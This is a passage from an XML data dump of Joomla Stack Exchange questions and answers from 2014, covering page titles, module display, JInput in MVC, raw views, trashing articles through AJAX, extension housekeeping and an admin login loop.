throw a php function around it prevent it from running on the body ID of your home page (sorry I don't know how to write php or I'd do it for you), then fill in the browser title in your home menu item. Everything else will get your site name appended, but the home page.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-04-29T20:20:39.680" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="460" PostTypeId="2" ParentId="457" CreationDate="2014-04-29T20:31:11.893" Score="1" Body="&lt;p&gt;As far as I know, there is no such option for individual pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have never try this on the core joomla, but I have used a plugin named &quot;&lt;a href=&quot;http://extensions.joomla.org/extensions/site-management/seo-a-metadata/meta-data/7171&quot; rel=&quot;nofollow&quot;&gt;SEO generator&lt;/a&gt;&quot;  in the past, which has options for customizing the page titles by adding the site name (similar to the joomla core options), with some extra settings for a custom front-page page title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you want to do the same for more pages, this plugin will not do it, unless if you modify its code and make it check for specific menu-items by id that you want to apply the extra site name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There might be other extensions that could offer admin management of menu items that you want to have special settings regarding the page title, but I don't know any to name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, there is always the manual way where you can write your desired title for each page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However SEO concerning, using the site name in all these pages, isn't always the best idea.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-04-29T20:31:11.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="461" PostTypeId="2" ParentId="439" CreationDate="2014-04-29T20:35:16.140" Score="1" Body="&lt;p&gt;Rather than teach users to monitor the alias, teach users/admins to write the titles without the ampersand to begin with.  Tell them it will &quot;break the site&quot; if necessary, wink wink.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2014-04-29T20:35:16.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="462" PostTypeId="2" ParentId="454" CreationDate="2014-04-29T20:41:53.103" Score="1" Body="&lt;p&gt;If you are relying on the php.ini settings for disabling core functions to give you more &quot;security&quot; then you have already failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Server security is about more than disabling functions. Infact a very secure server doesnt need any PHP Functions disabled in the way you refer to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore if you implement per user php.ini (.user.ini) files to disable these functions then all a hacker has to do is remove those to gain access to functions you thought were secure and blocked! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though the &lt;a href=&quot;http://docs.joomla.org/Security_Checklist/Hosting_and_Server_Setup&quot; rel=&quot;nofollow&quot;&gt;&quot;official&quot; checklist&lt;/a&gt; says to disable functions, do not believe everything you read on this subject! &lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2014-04-29T20:41:53.103" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="463" PostTypeId="2" ParentId="457" CreationDate="2014-04-29T20:43:43.790" Score="4" Body="&lt;p&gt;RS SEO can do this out of the box. In the configuration you set up how you want the site title added, then you can edit any page you want once it has been added. This is particularly important for pages that have long titles that would be too long if you add the site name to the title.&lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2014-04-29T20:43:43.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="464" PostTypeId="2" ParentId="457" CreationDate="2014-04-29T20:49:01.320" Score="3" Body="&lt;p&gt;I made a module that you can assign to any page and override meta title and description (It's actually for adding custom code to a site and extra code to the page head but it does this as well).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/custom-code-in-modules/17842&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/custom-code-in-modules/17842&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set global configuration how you want most of the site to be and then use the module to target specific pages.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2014-04-29T20:49:01.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="466" PostTypeId="1" AcceptedAnswerId="484" CreationDate="2014-04-29T20:55:59.417" Score="11" ViewCount="10342" Body="&lt;p&gt;I'm trying to hide the title of a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have changed the admin setting but the title is still displayed in the front end. In the database, the &lt;code&gt;showtitle&lt;/code&gt; field is set to &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="230" LastEditorUserId="168" LastEditDate="2014-07-31T15:03:47.957" LastActivityDate="2017-03-16T18:00:05.620" Title="Show/hide module title not working" Tags="|joomla-3.x|module|" AnswerCount="6" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="468" PostTypeId="2" ParentId="457" CreationDate="2014-04-29T21:22:27.567" Score="7" Body="&lt;p&gt;To set the title of the frontpage differently from the other pages title, add the following code to the template index.php file towards the end of the head information.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu = $app-&amp;gt;getMenu();&#xA;    if ($menu-&amp;gt;getActive() == $menu-&amp;gt;getDefault()) {&#xA;    $this-&amp;gt;setTitle( 'Whatever You Want Title' );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code will set the frontpage title independently of the way Joomla sets the rest of the pages. This works on Joomla 2.5 and I believe it will also work in the 3.x series.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2014-04-29T21:22:27.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="469" PostTypeId="2" ParentId="300" CreationDate="2014-04-29T21:45:35.437" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;Check if you are using very big images that can be resized.&lt;/li&gt;&#xA;&lt;li&gt;Check for unused images and delete these.&lt;/li&gt;&#xA;&lt;li&gt;Review log files and delete them if appropriate.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="246" LastActivityDate="2014-04-29T21:45:35.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="471" PostTypeId="2" ParentId="466" CreationDate="2014-04-29T22:01:03.067" Score="2" Body="&lt;p&gt;I have experienced this with certain modules, and certain positions in certain templates. It's almost certainly either a) the module ignoring the 'showtitle' parameter, or checking it incorrectly, or b) the template / template framework not pulling the title through. For example, in the Warp framework used by YooTheme (a popular theme provider with its own module rendering chain), the 'logo' position won't render the module title (as they make a guess that you don't want the module title shown above your logo image).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you update the question with the template and module it'd be easier to investigate.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2014-04-29T22:01:03.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="472" PostTypeId="2" ParentId="264" CreationDate="2014-04-29T22:20:11.290" Score="2" Body="&lt;p&gt;Stupid, very similar, but fairly easy solution:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a article category&lt;/li&gt;&#xA;&lt;li&gt;Leave it with no content (articles)&lt;/li&gt;&#xA;&lt;li&gt;Create menu link to it&lt;/li&gt;&#xA;&lt;li&gt;Assign your modules to that menu link&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You might need to turn off some details to be hidden for that category in the category and/or menu item parameters.&lt;/p&gt;&#xA;" OwnerUserId="246" LastActivityDate="2014-04-29T22:20:11.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="473" PostTypeId="2" ParentId="300" CreationDate="2014-04-29T23:00:47.077" Score="3" Body="&lt;p&gt;A default Joomla (V3) environment, is 21 MB.  The only significant candidate for removal might be the hathor administrator template, and the sample images.  Possibly the tinymce editor, but most implementations are likely will want that.  Note that anything anything that is removed might return when you perform a regular maintenance update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an expanded tree showing the larger directories in a default environment.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/ - 21 MB&lt;/li&gt;&#xA;&lt;li&gt;/administrator - 6 MB&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/administrator/components - 3 MB&lt;/li&gt;&#xA;&lt;li&gt;/administrator/language - 1 MB &lt;/li&gt;&#xA;&lt;li&gt;/administrator/templates - 2 MB&lt;/li&gt;&#xA;&lt;li&gt;/administrator/templates/hathor - 1 MB &lt;/li&gt;&#xA;&lt;li&gt;/administrator/templates/isis - 1 MB &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;/components - 1 MB &lt;/li&gt;&#xA;&lt;li&gt;/images - 1 MB &lt;/li&gt;&#xA;&lt;li&gt;/libraries - 6 MB &#xA;&lt;ul&gt;&#xA;&lt;li&gt;/libraries/cms - 1 MB&lt;/li&gt;&#xA;&lt;li&gt;/libraries/fof - 1 MB&lt;/li&gt;&#xA;&lt;li&gt;/libraries/joomla - 3 MB &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;/media - 5 MB &#xA;&lt;ul&gt;&#xA;&lt;li&gt;/media/editors - 2 MB&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/media/editors/tinymce - 1 MB &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;/media/jui - 2 MB&lt;/li&gt;&#xA;&lt;li&gt;/media/system - 1 MB&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;/plugins - 1 MB &lt;/li&gt;&#xA;&lt;li&gt;/templates - 1 MB&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are other directories that might grow that could be removed.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/cache&lt;/li&gt;&#xA;&lt;li&gt;/logs&lt;/li&gt;&#xA;&lt;li&gt;/tmp&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And then there are development directories, but these are only found in a source checkout.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/.git&lt;/li&gt;&#xA;&lt;li&gt;/build&lt;/li&gt;&#xA;&lt;li&gt;/tests&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="127" LastActivityDate="2014-04-29T23:00:47.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="474" PostTypeId="1" AcceptedAnswerId="481" CreationDate="2014-04-29T23:46:31.357" Score="6" ViewCount="1230" Body="&lt;p&gt;I'm curious as to where to get data from &lt;code&gt;JInput&lt;/code&gt; in the MVC design pattern. For example, in a situation where I need a &lt;code&gt;JInput&lt;/code&gt; value to use in a query in a model class method, should I get the &lt;code&gt;JInput&lt;/code&gt; value there or should I pass it from the view or does it matter? &lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="3" LastEditDate="2014-04-30T06:53:47.270" LastActivityDate="2015-09-05T15:17:41.163" Title="Where to use JInput in MVC" Tags="|joomla-api|mvc|jinput|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="475" PostTypeId="2" ParentId="474" CreationDate="2014-04-30T00:51:13.740" Score="2" Body="&lt;p&gt;I'm of the strong belief that it should be retrieved where appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is to say you should always use &lt;code&gt;JInput&lt;/code&gt; otherwise you're duplicating data and potentially breaking &lt;a href=&quot;http://en.wikipedia.org/wiki/Don%27t_repeat_yourself&quot; rel=&quot;nofollow&quot;&gt;DRY&lt;/a&gt; principles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;code&gt;view&lt;/code&gt; class should be retrieving data to populate the the &lt;code&gt;view&lt;/code&gt;'s templates (&lt;code&gt;/tmpl&lt;/code&gt; files) or &lt;code&gt;layouts&lt;/code&gt; from the &lt;code&gt;model&lt;/code&gt;, not injecting values into the &lt;code&gt;model&lt;/code&gt;. A &lt;code&gt;view&lt;/code&gt; after all is about presentation of data and UI not manipulation of data or handling of user actions.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-04-30T00:51:13.740" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="476" PostTypeId="2" ParentId="300" CreationDate="2014-04-30T01:13:11.623" Score="3" Body="&lt;p&gt;Also examine the SQL database and sort by size.  There are times when the session table gets messed up and just grows without ever clearing.  Under 1Mb is typical.  I discovered one that was 600Mb.  The table can be safely truncated and any online users will just have to login again.&lt;/p&gt;&#xA;" OwnerUserId="255" LastActivityDate="2014-04-30T01:13:11.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="477" PostTypeId="1" CreationDate="2014-04-30T01:48:50.297" Score="11" ViewCount="1417" Body="&lt;p&gt;Some modules and plugins come with Joomla and others are installed with component packages and are not used. Should the modules and plugins simply be disabled or completely uninstalled?&lt;/p&gt;&#xA;" OwnerUserId="256" LastEditorUserId="126" LastEditDate="2015-06-06T19:58:44.193" LastActivityDate="2017-11-21T16:01:25.310" Title="What is appropriate for unused modules and plugins?" Tags="|administration|recommended-practices|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="478" PostTypeId="2" ParentId="477" CreationDate="2014-04-30T02:23:55.143" Score="5" Body="&lt;p&gt;From a security point of view we uninstall any unused extensions (components, modules, plugins and templates).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This reduces &lt;em&gt;potential&lt;/em&gt; exposure to bad code, most of the sites we've been engaged to fix have been compromised by old, un-patched extensions (admittedly, that often weren't even disabled).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From an admin user point of view it also results in less confusion, less menu choices and a cleaner overall experience. (It's also prevents newer users from assigning menu's to the wrong template, or creating modules that aren't using the latest version).&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-04-30T02:23:55.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="479" PostTypeId="2" ParentId="477" CreationDate="2014-04-30T03:35:33.670" Score="3" Body="&lt;p&gt;This is a touchy subject, as sometimes when installing packages, then uninstalling the component it uses and leaving any plugins it may have used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently as far as I know there is no way to know if something does not need a specific plugin to work. This could turn into a feature request for some sort of added xml to components to term what plugins/modules it should be with, allowing Joomla to see what is needed and what is not. Though that is just an idea, something that would be hard to push out to all third party devs to make sure it is used correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best thing to do is to keep good track of what is installed on your site, know what plugins a component needs and such. Typically a component developer will name a plugin in such a way that it can be easy to know its for that component, or you can just use the author for that. Modules typically can just be uninstalled with almost no harm if they are not used anywhere, typically they rarely rely on a plugin as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for if its an unused Joomla extension, it should not be uninstalled, having it in a clean site means something needs it usually, so its best left alone. There is talk of splitting Joomla more to allow more &quot;specialized&quot; installs but its best to wait until then before removing anything from the core.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-04-30T03:35:33.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="480" PostTypeId="2" ParentId="477" CreationDate="2014-04-30T05:16:56.870" Score="7" Body="&lt;p&gt;For the extensions shipped with core that I don't use, I disable them only.  Because of how core updates are handled, those files often re-appear on sites come update day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many times, you can uninstall unused extensions that come as part of an extension package.  If packaged as a proper package extension, all the core code will gripe about is if it can't find an extension come uninstall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that said, I'd just disable anything unused that came as part of a package to be safe.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-04-30T05:16:56.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="481" PostTypeId="2" ParentId="474" CreationDate="2014-04-30T05:23:37.347" Score="11" Body="&lt;p&gt;In a proper MVC structure, only your controller &lt;strong&gt;should&lt;/strong&gt; interface with your request data, in this case &lt;code&gt;JInput&lt;/code&gt;, and the dependencies injected into the view and model when instantiated within the controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the current CMS structure, all three pieces of the MVC structure are often interfacing with the request data.  In models, this is usually done in the &lt;code&gt;populateState()&lt;/code&gt; method and views are more often in the layout files they are loading up than the actual class.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-04-30T05:23:37.347" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="482" PostTypeId="1" AcceptedAnswerId="483" CreationDate="2014-04-30T06:13:23.017" Score="7" ViewCount="3350" Body="&lt;p&gt;I'm trying to add a custom &lt;code&gt;JToolbar&lt;/code&gt; button to my list view that will export the list contents to excel. I created a new task in my list controller to render the raw view class in a file called view.raw.php. However I can't get the content to load the raw data only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copied the relevant controller code from com_banners tracks.raw.php controller&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Controller method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function exportToExcel()&#xA;{&#xA;    // Get the document object.&#xA;    $document   = JFactory::getDocument();&#xA;    $vName      = 'Mylist';&#xA;    $vFormat    = 'raw';&#xA;&#xA;    // Get and render the view.&#xA;    if ($view = $this-&amp;gt;getView($vName, $vFormat))&#xA;    {&#xA;        // Get the model for the view.&#xA;        $model = $this-&amp;gt;getModel($vName);&#xA;&#xA;        // Push the model into the view (as default).&#xA;        $view-&amp;gt;setModel($model, true);&#xA;&#xA;        // Push document object into the view.&#xA;        $view-&amp;gt;document = $document;&#xA;&#xA;        $view-&amp;gt;display();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And a simple test display method in my view.raw.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display($tpl = null)&#xA;{&#xA;   echo &quot;Test&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This displays &quot;Test&quot; but loads the template too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using &lt;code&gt;$document-&amp;gt;setType('Raw')&lt;/code&gt; but this is giving me an &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unable to load renderer class&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is that it is looking for &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;libraries/joomla/document/raw/renderer/modules.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;which does not exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I'm going about this in the wrong way but how should I do this correctly?&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="3" LastEditDate="2014-04-30T06:53:02.837" LastActivityDate="2015-07-04T05:45:58.230" Title="How should I use view.raw.php properly" Tags="|component|development|recommended-practices|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="483" PostTypeId="2" ParentId="482" CreationDate="2014-04-30T06:35:19.277" Score="5" Body="&lt;p&gt;You need to specify the document type in the URL call with &lt;code&gt;format=raw&lt;/code&gt;. Joomla will then automatically load the &lt;code&gt;view.raw.php&lt;/code&gt; file. You don't even need a special controller for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create the toolbar button you can use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $bar = JToolBar::getInstance('toolbar');&#xA;    $bar-&amp;gt;appendButton('Custom', '&amp;lt;button onclick=&quot;window.location.href = \'http://www.google.com\';&quot;&amp;gt;Export&amp;lt;/button&amp;gt;', 'export');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="52" LastEditorUserId="52" LastEditDate="2014-04-30T06:52:13.267" LastActivityDate="2014-04-30T06:52:13.267" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="484" PostTypeId="2" ParentId="466" CreationDate="2014-04-30T07:54:48.007" Score="6" Body="&lt;p&gt;Check this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;joomlaroot/templates/yourtemplate/html/modules.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and search for something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($module-&amp;gt;showtitle){echo $module-&amp;gt;title;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there only &lt;code&gt;echo $module-&amp;gt;title;&lt;/code&gt; without the &lt;code&gt;if($module-&amp;gt;showtitle){}&lt;/code&gt; case then is this probably the soultion.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2014-04-30T07:54:48.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="485" PostTypeId="2" ParentId="477" CreationDate="2014-04-30T08:01:38.680" Score="0" Body="&lt;p&gt;My advidce for Joomla Core Components, Plugins, Templates, Modules: Don't delete them, if you have always the newest Supported Joomla Version. But if you use for example Joomla 1.0 then delete everything...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 3rd Party Extensions: Delete them if not used and check your database for entries from the extensions and delete them, too.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2014-04-30T08:01:38.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="486" PostTypeId="1" AcceptedAnswerId="487" CreationDate="2014-04-30T08:28:48.033" Score="9" ViewCount="476" Body="&lt;p&gt;I'm developing a small plugin for Joomla 3.x that adds a &quot;Trash article&quot; button when you're in Joomlas Frontend. See screenshot below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nlycx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/nlycx.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have this AJAX call that happens when you click on the list item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;request = {&#xA;          &quot;option&quot; : &quot;com_ajax&quot;,&#xA;          &quot;plugin&quot; : &quot;deletearticle&quot;&#xA;          &quot;data&quot;   : &quot;test&quot;,&#xA;          &quot;format&quot; : &quot;raw&quot;  &#xA;};&#xA;&#xA;$.ajax({&#xA;       type : &quot;POST&quot;,&#xA;       data : request,&#xA;       success: function (response) {&#xA;           $(&quot;p:first&quot;).html(&quot;Data: &quot; + response)&#xA;      } &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the helper PHP file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA; jimport('joomla.plugin.plugin');&#xA; class plgAjaxDeletearticle extends JPlugin&#xA; {&#xA;    function onAjaxDeletearticle()&#xA;    {&#xA;        $controller = JControllerLegacy::getInstance('Content');&#xA;        $controller-&amp;gt;execute(JFactory::getApplication()-&amp;gt;input-&amp;gt;get('task'));&#xA;    }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm right now doing work experience and I asked my mentor how I should change the article state to trashed. And he gave me the code inside the function and told me that I should be able to modify it in some way, so that the controller will execute a save function on the article. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried and read up on this stuff but it doesn't seem to be all that well documented. Any help would be greatly appreciated as I'm not quite sure how I should proceed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks. &lt;/p&gt;&#xA;" OwnerUserId="269" LastActivityDate="2014-04-30T08:49:15.187" Title="Trash Joomla Article in frontend" Tags="|development|joomla-api|plugin|ajax|articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="487" PostTypeId="2" ParentId="486" CreationDate="2014-04-30T08:49:15.187" Score="9" Body="&lt;p&gt;First of all you need to pass article ID with your request. Then you can use &lt;code&gt;JTable&lt;/code&gt; class to update the state:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAjaxDeletearticle()&#xA;{&#xA;    // Get id from the request&#xA;    $id = JFactory::getApplication()-&amp;gt;input-&amp;gt;getInt('data');&#xA;&#xA;    // Get the new instance of #__content table&#xA;    $table = JTable::getInstance('content');&#xA;&#xA;    // Load the article data by id&#xA;    $table-&amp;gt;load($id);&#xA;&#xA;    // Set the state to 'trashed'&#xA;    $table-&amp;gt;state = -2;&#xA;&#xA;    // Store the article&#xA;    $table-&amp;gt;store();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-04-30T08:49:15.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="488" PostTypeId="2" ParentId="307" CreationDate="2014-04-30T11:53:06.383" Score="2" Body="&lt;p&gt;&lt;strong&gt;Installing from directory and installing from a packed extension follow two different installation paths.&lt;/strong&gt; (two similar but separate pieces of code handle the installation process).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put it with other words, the &lt;strong&gt;installation from directory&lt;/strong&gt; works for very basic components, which do not use update sites, sql updates, etc but &lt;strong&gt;can be sometimes rather buggy.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So build your component as a installable component and try it on a clean system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-04-30T11:53:06.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="489" PostTypeId="2" ParentId="477" CreationDate="2014-04-30T11:58:28.817" Score="2" Body="&lt;p&gt;Regarding components, modules and plugins I usually disable them. What I completely remove are the unused templates, which take more space and also create many useless position options when I have to assign a module in a position.&lt;/p&gt;&#xA;&lt;h2&gt;Update July 2016&lt;/h2&gt;&#xA;&lt;h3&gt;Core Templates&lt;/h3&gt;&#xA;&lt;p&gt;--- Completely removing the templates at that time wasn't ideal and in some cases there were &lt;a href=&quot;https://joomla.stackexchange.com/questions/2501/where-is-the-copy-template-button-in-template-manager-in-j3-3-1-after-update&quot;&gt;issues and bugs after updates&lt;/a&gt;, but as far as I remember it was the only way to not have the module positions of those templates appearing in the module manager position select.&lt;/p&gt;&#xA;&lt;p&gt;However, at recent Joomla versions, disabling a template it will hide its positions from position select drop down in module manager, so templates can be disabled.&lt;/p&gt;&#xA;&lt;h3&gt;Core Extensions&lt;/h3&gt;&#xA;&lt;p&gt;If the extension has been decoupled like weblinks package, it can be uninstalled. For the other core extensions, I feel it's better to keep them installed and disabled.&lt;/p&gt;&#xA;&lt;h3&gt;3rd party&lt;/h3&gt;&#xA;&lt;p&gt;All unused extensions must be uninstalled.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-11-21T16:01:25.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="490" PostTypeId="2" ParentId="466" CreationDate="2014-04-30T12:47:45.497" Score="1" Body="&lt;p&gt;Each module allows its title to show or hidden as an option in the module manager.&lt;br&gt;&#xA;NOTE: That is the only place to configure it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value is stored in the column &quot;showtitle&quot; of &quot;#__modules&quot;.&lt;br&gt;&#xA;Hopefully this setting is respected by the module and template that renders it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla core renders the module according to its style. The rendering according to style&#xA;can be found in (administrator/)templates/$template$/html/modules.php. &lt;br&gt;&#xA;Each style has its own function with the prefix modChrome_.&#xA;Not all styles have code for the title. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which style is applicable depends on the JDOC in the template and the optional setting for the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also noticed some inconsistent coding: &lt;code&gt;if ((bool) $module-&amp;gt;showtitle)&lt;/code&gt;&lt;br&gt;&#xA;versus &lt;code&gt;if ($module-&amp;gt;showtitle)&lt;/code&gt;&lt;br&gt;&#xA;versus &lt;code&gt;if ($module-&amp;gt;showtitle != 0)&lt;/code&gt;&lt;br&gt;&#xA;that may lead to unexpected results&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2014-04-30T12:47:45.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="492" PostTypeId="1" CreationDate="2014-04-30T13:58:32.337" Score="3" ViewCount="321" Body="&lt;p&gt;Had a site up and running fine last night and today when I try to log in to the admin section it just send me straight back to the administrator log in page, no errors about incorrect username or anything, its like its stuck in a loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done my share of googling and have tried&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ensuring all user and authentication plugins are enabled&lt;/li&gt;&#xA;&lt;li&gt;deleting all sessions from the sessions table&lt;/li&gt;&#xA;&lt;li&gt;making sure there is nothing in the cookies fields in the configuration.php&lt;/li&gt;&#xA;&lt;li&gt;setting the sessions handler in the configuration.php to none&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Front end of the site seems to work fine although I have noticed one anomaly,  on an internal page images aren't showing, it failing to load the url. On the homepage however they load fine....&lt;/p&gt;&#xA;" OwnerUserId="190" LastEditorUserId="159" LastEditDate="2014-04-30T16:14:04.607" 